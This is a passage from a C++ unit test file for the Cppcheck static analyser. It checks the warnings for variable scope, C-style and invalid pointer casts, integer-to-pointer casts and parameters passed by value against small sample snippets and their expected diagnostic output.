c;\\n\"\n \" }\\n\"\n \" return 0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\"\n \"[test.cpp:4:12]: (style) The scope of the variable 'b' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:12]: (style) The scope of the variable 'c' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"struct S { int a; };\\n\" // #12618\n \"int f(const S* s, int i) {\\n\"\n \" int x = s->a;\\n\"\n \" const int b[] = { 1, 2, 3 };\\n\"\n \" int y = b[1];\\n\"\n \" if (i)\\n\"\n \" return x + y;\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\"\n \"[test.cpp:5:9]: (style) The scope of the variable 'y' can be reduced. [variableScope]\\n\",\n errout_str());\n }\n\n void varScope41() { // #11845\n check(\"void get_errmsg(const char **msg, char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(&msg, buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void get_errmsg(char *buf, size_t bufsiz, int err);\\n\"\n \"void test(int err)\\n\"\n \"{\\n\"\n \" const char *msg = \\\"Success\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (err != 0)\\n\"\n \" get_errmsg(buf, sizeof(buf), err);\\n\"\n \" printf(\\\"%d: %s\\\\n\\\", err, msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope42() {\n check(\"void f(const char **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" char msg [42] = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const char *, char *);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %s\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int **, char *);\\n\"\n \"void g(int e) {\\n\"\n \" int *msg = calloc(0, sizeof(*msg));\\n\"\n \" char buf[42];\\n\"\n \" if (e != 0)\\n\"\n \" f(&msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", *msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) The scope of the variable 'buf' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(const char *&, const char *&);\\n\"\n \"void g(int e) {\\n\"\n \" const char *msg = \\\"Something\\\";\\n\"\n \" char *buf = malloc(42);\\n\"\n \" if (e != 0)\\n\"\n \" f(msg, buf);\\n\"\n \" printf(\\\"result: %d\\\\n\\\", msg);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(const char* format, ...);\\n\"\n \"void f(bool b) {\\n\"\n \" const char* s = \\\"abc\\\";\\n\"\n \" if (b)\\n\"\n \" g(\\\"%d %s\\\", 1, s);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope43() {\n check(\"struct S { int a, b; };\\n\" // #13838\n \"int f(S s) {\\n\"\n \" auto& [x, y] = s;\\n\"\n \" if (x < 5) {\\n\"\n \" return y;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a; };\\n\"\n \"int f(S s) {\\n\"\n \" auto& [x] = s;\\n\"\n \" if (y) {\\n\"\n \" return x;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:12]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n#define checkOldStylePointerCast(...) checkOldStylePointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkOldStylePointerCast_(const char* file, int line, const char (&code)[size], Standards::cppstd_t std = Standards::CPPLatest) {\n\n const Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::style).cpp(std).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningOldStylePointerCast();\n checkOtherCpp.warningDangerousTypeCast();\n }\n\n void oldStylePointerCast() {\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Derived* derived)\\n\"\n \"{\\n\"\n \" Base * b = (Base *) derived;\\n\" // <- cast from derived to base is safe => cstyleCast\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo(Base* base)\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) base;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) ( new Base() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Derived * d = (const Derived *) new Base();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:19]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base{};\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base *) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const volatile Base * const) derived;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) ( new Derived() );\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new Derived();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class Base;\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" Base * b = (const Base *) new short[10];\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class B;\\n\"\n \"class A\\n\"\n \"{\\n\"\n \" virtual void abc(const B *) const = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3630\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)7) {}\\n\" // <- intToPointerCast\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType{};\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0x7000) {}\\n\" // <- it's common in embedded code to cast address\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)var) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:16]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n checkOldStylePointerCast(\"class SomeType;\\n\"\n \"class X : public Base {\\n\"\n \" X() : Base((SomeType*)0) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5560\n checkOldStylePointerCast(\"class C;\\n\"\n \"\\n\"\n \"class B\\n\"\n \"{ virtual G* createGui(S*, C*) const = 0; };\\n\"\n \"\\n\"\n \"class MS : public M\\n\"\n \"{ virtual void addController(C*) override {} };\", Standards::CPP03);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6164\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void testCC() {\\n\"\n \" std::vector v;\\n\"\n \" v.push_back((Base*)new Derived);\\n\"\n \"}\");\n // FIXME write a dangerousTypeCast warning instead\n ASSERT_EQUALS(\"[test.cpp:5:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #7709\n checkOldStylePointerCast(\"typedef struct S S;\\n\"\n \"typedef struct S SS;\\n\"\n \"typedef class C C;\\n\"\n \"typedef long LONG;\\n\"\n \"typedef long* LONGP;\\n\"\n \"struct T {};\\n\"\n \"typedef struct T TT;\\n\"\n \"typedef struct T2 {} TT2;\\n\"\n \"void f(int* i) {\\n\"\n \" S* s = (S*)i;\\n\"\n \" SS* ss = (SS*)i;\\n\"\n \" struct S2* s2 = (struct S2*)i;\\n\"\n \" C* c = (C*)i;\\n\"\n \" class C2* c2 = (class C2*)i;\\n\"\n \" long* l = (long*)i;\\n\"\n \" LONG* l2 = (LONG*)i;\\n\"\n \" LONGP l3 = (LONGP)i;\\n\"\n \" TT* tt = (TT*)i;\\n\"\n \" TT2* tt2 = (TT2*)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:11:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:12:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:13:12]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:14:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:15:15]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:16:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:17:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:18:14]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:19:16]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #8649\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uintptr_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\",\n errout_str());\n\n checkOldStylePointerCast(\"struct S {};\\n\"\n \"void g(S*& s);\\n\"\n \"void f(uint8_t i) {\\n\"\n \" g((S*&)i);\\n\"\n \" S*& r = (S*&)i;\\n\"\n \"}\\n\");\n // TODO: these conversions are dangerous, but it's a different issue not covered by cstyleCast. A separate checker can be added which is executed for both C and C++ code.\n // clang says: 1.cpp:5:18: warning: cast to 'unsigned char *' from smaller integer type 'uint8_t' (aka 'unsigned char') [-Wint-to-pointer-cast]\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:5:13]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #10823\n checkOldStylePointerCast(\"void f(void* p) {\\n\"\n \" auto h = reinterpret_cast(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5210\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(Base** b1, Base*** b2) {\\n\"\n \" Derived** p1 = (Derived**)b1;\\n\"\n \" Derived*** p2 = (Derived***)b2;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:20]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\"\n \"[test.cpp:5:21]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\",\n errout_str());\n\n // #12446\n checkOldStylePointerCast(\"namespace N { struct S {}; }\\n\"\n \"union U {\\n\"\n \" int i;\\n\"\n \" char c[4];\\n\"\n \"};\\n\"\n \"void f(void* p) {\\n\"\n \" auto ps = (N::S*)p;\\n\"\n \" auto pu = (union U*)p;\\n\"\n \" auto pv = (std::vector*)(p);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:8:15]: (style) C-style pointer casting [cstyleCast]\\n\"\n \"[test.cpp:9:15]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n\n // #12447\n checkOldStylePointerCast(\"class Base {};\\n\"\n \"class Derived: public Base {};\\n\"\n \"void f(const Base& base) {\\n\"\n \" d = (const Derived&)base;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (warning) Potentially invalid type conversion in old-style C cast, clarify/fix with C++ cast [dangerousTypeCast]\\n\", errout_str());\n\n // #11430\n checkOldStylePointerCast(\"struct B {\\n\"\n \" float* data() const;\\n\"\n \"};\\n\"\n \"namespace N {\\n\"\n \" bool f(float* v);\\n\"\n \"}\\n\"\n \"bool g(B& b) {\\n\"\n \" using float_ptr = float*;\\n\"\n \" return N::f(float_ptr(b.data()));\\n\" // <- the cast is safe\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:17]: (style) C-style pointer casting [cstyleCast]\\n\", errout_str());\n }\n\n#define checkIntToPointerCast(...) checkIntToPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkIntToPointerCast_(const char* file, int line, const char (&code)[size]) {\n\n const Settings settings = settingsBuilder().severity(Severity::portability).build();\n\n // Tokenize..\n SimpleTokenizer tokenizerCpp(settings, *this);\n ASSERT_LOC(tokenizerCpp.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizerCpp, &settings, this);\n checkOtherCpp.warningIntToPointerCast();\n }\n\n void intToPointerCast() {\n // #3630\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:16]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"void* ptr = (void*)7;\");\n ASSERT_EQUALS(\"[test.cpp:1:13]: (portability) Casting non-zero decimal integer literal to pointer. [intToPointerCast]\\n\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"uint8_t* ptr = (uint8_t*)0x7000;\"); // <- it's common in embedded code to cast address\n ASSERT_EQUALS(\"\", errout_str());\n\n checkIntToPointerCast(\"struct S { int i; };\\n\" // #13886, don't crash\n \"int f() { return sizeof(((struct S*)0)->i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n#define checkInvalidPointerCast(...) checkInvalidPointerCast_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkInvalidPointerCast_(const char* file, int line, const char (&code)[size], bool portability = true, bool inconclusive = false) {\n /*const*/ Settings settings = settingsBuilder().severity(Severity::warning).severity(Severity::portability, portability).certainty(Certainty::inconclusive, inconclusive).build();\n settings.platform.defaultSign = 's';\n\n // Tokenize..\n SimpleTokenizer tokenizer(settings, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n CheckOther checkOtherCpp(&tokenizer, &settings, this);\n checkOtherCpp.invalidPointerCast();\n }\n\n\n void invalidPointerCast() {\n checkInvalidPointerCast(\"void test() {\\n\"\n \" float *f = new float[10];\\n\"\n \" delete [] (double*)f;\\n\"\n \" delete [] (long double const*)(new float[10]);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (portability) Casting between float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:15]: (portability) Casting between float * and const long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(const float* f) {\\n\"\n \" double *d = (double*)f;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (portability) Casting between const float * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(double* d1) {\\n\"\n \" long double *ld = (long double*)d1;\\n\"\n \" double *d2 = (double*)ld;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (portability) Casting between double * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:18]: (portability) Casting between long double * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"char* test(int* i) {\\n\"\n \" long double *d = (long double*)(i);\\n\"\n \" double *d = (double*)(i);\\n\"\n \" float *f = reinterpret_cast(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (portability) Casting between signed int * and long double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:3:17]: (portability) Casting between signed int * and double * which have an incompatible binary data representation. [invalidPointerCast]\\n\"\n \"[test.cpp:4:16]: (portability) Casting between signed int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between unsigned int * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"float* test(unsigned int* i) {\\n\"\n \" return (float*)i[0];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"float* test(double& d) {\\n\"\n \" return (float*)&d;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (portability) Casting between double * and float * which have an incompatible binary data representation. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"void test(float* data) {\\n\"\n \" f.write((char*)data,sizeof(float));\\n\"\n \"}\", true, true); // #3639\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability, inconclusive) Casting from float * to signed char * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n\n checkInvalidPointerCast(\"long long* test(float* f) {\\n\"\n \" return (long long*)f;\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInvalidPointerCast(\"long long* test(float* f, char* c) {\\n\"\n \" foo((long long*)f);\\n\"\n \" return reinterpret_cast(c);\\n\"\n \"}\", true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (portability) Casting from float * to signed long long * is not portable due to different binary data representations on different platforms. [invalidPointerCast]\\n\", errout_str());\n\n checkInvalidPointerCast(\"Q_DECLARE_METATYPE(int*)\"); // #4135 - don't crash\n }\n\n\n void passedByValue() {\n check(\"void f(const std::string str) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:26]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(std::unique_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::shared_ptr ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::function ptr) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n check(\"void f(const std::pair x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::pair x) {}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n check(\"void f(const std::string::size_type x) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo;\\nvoid f(const Foo foo) {}\"); // Unknown class\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance, inconclusive) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::vector v; };\\nvoid f(const Foo foo) {}\"); // Large class (STL member)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { int i; };\\nvoid f(const Foo foo) {}\"); // Small class\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { int i[6]; };\\nvoid f(const Foo foo) {}\"); // Large class (array)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class Foo { std::string* s; };\\nvoid f(const Foo foo) {}\"); // Small class (pointer)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class Foo { static std::string s; };\\nvoid f(const Foo foo) {}\"); // Small class (static member)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X { std::string s; }; class Foo : X { };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"class X { std::string s; }; class Foo { X x; };\\nvoid f(const Foo foo) {}\"); // Large class (inherited)\n ASSERT_EQUALS(\"[test.cpp:2:18]: (performance) Function parameter 'foo' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::string &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // The idiomatic way of passing a std::string_view is by value\n check(\"void f(const std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string_view str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::string_view &str) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:31]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:39]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::vector::size_type s) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map &v) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:32]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:48]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::map v) {}\");\n ASSERT_EQUALS(\"[test.cpp:1:40]: (performance) Function parameter 'v' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"void f(const std::streamoff pos) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::initializer_list i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5824\n check(\"void log(const std::string& file, int line, const std::string& function, const std::string str, ...) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5534\n check(\"struct float3 { };\\n\"\n \"typedef float3 vec;\\n\"\n \"class Plane {\\n\"\n \" vec Refract(vec &vec) const;\\n\"\n \" bool IntersectLinePlane(const vec &planeNormal);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class X {\\n\"\n \" virtual void func(const std::string str) {}\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:41]: (performance) Function parameter 'str' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"enum X;\\n\"\n \"void foo(X x1){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"void foo(X x2){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X { a, b, c };\\n\"\n \"enum X;\"\n \"void foo(X x3){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"enum X;\\n\"\n \"enum X { a, b, c };\"\n \"void foo(X x4){}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"union U {\\n\"\n \" char* pc;\\n\"\n \" short* ps;\\n\"\n \" int* pi;\\n\"\n \"};\\n\"\n \"void f(U u) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { char A[8][8]; };\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance) Function parameter 's' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"union U {\\n\" // don't crash\n \" int a;\\n\"\n \" decltype(nullptr) b;\\n\"\n \"};\\n\"\n \"int* f(U u) { return u.b; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int f(std::string s) = 0; };\\n\" // #11432\n \"struct D1 : B {\\n\"\n \" int f(std::string s) override { s += 'a'; return s.size(); }\\n\"\n \"}\\n\"\n \"struct D2 : B {\\n\"\n \" int f(std::string s) override { return s.size(); }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n 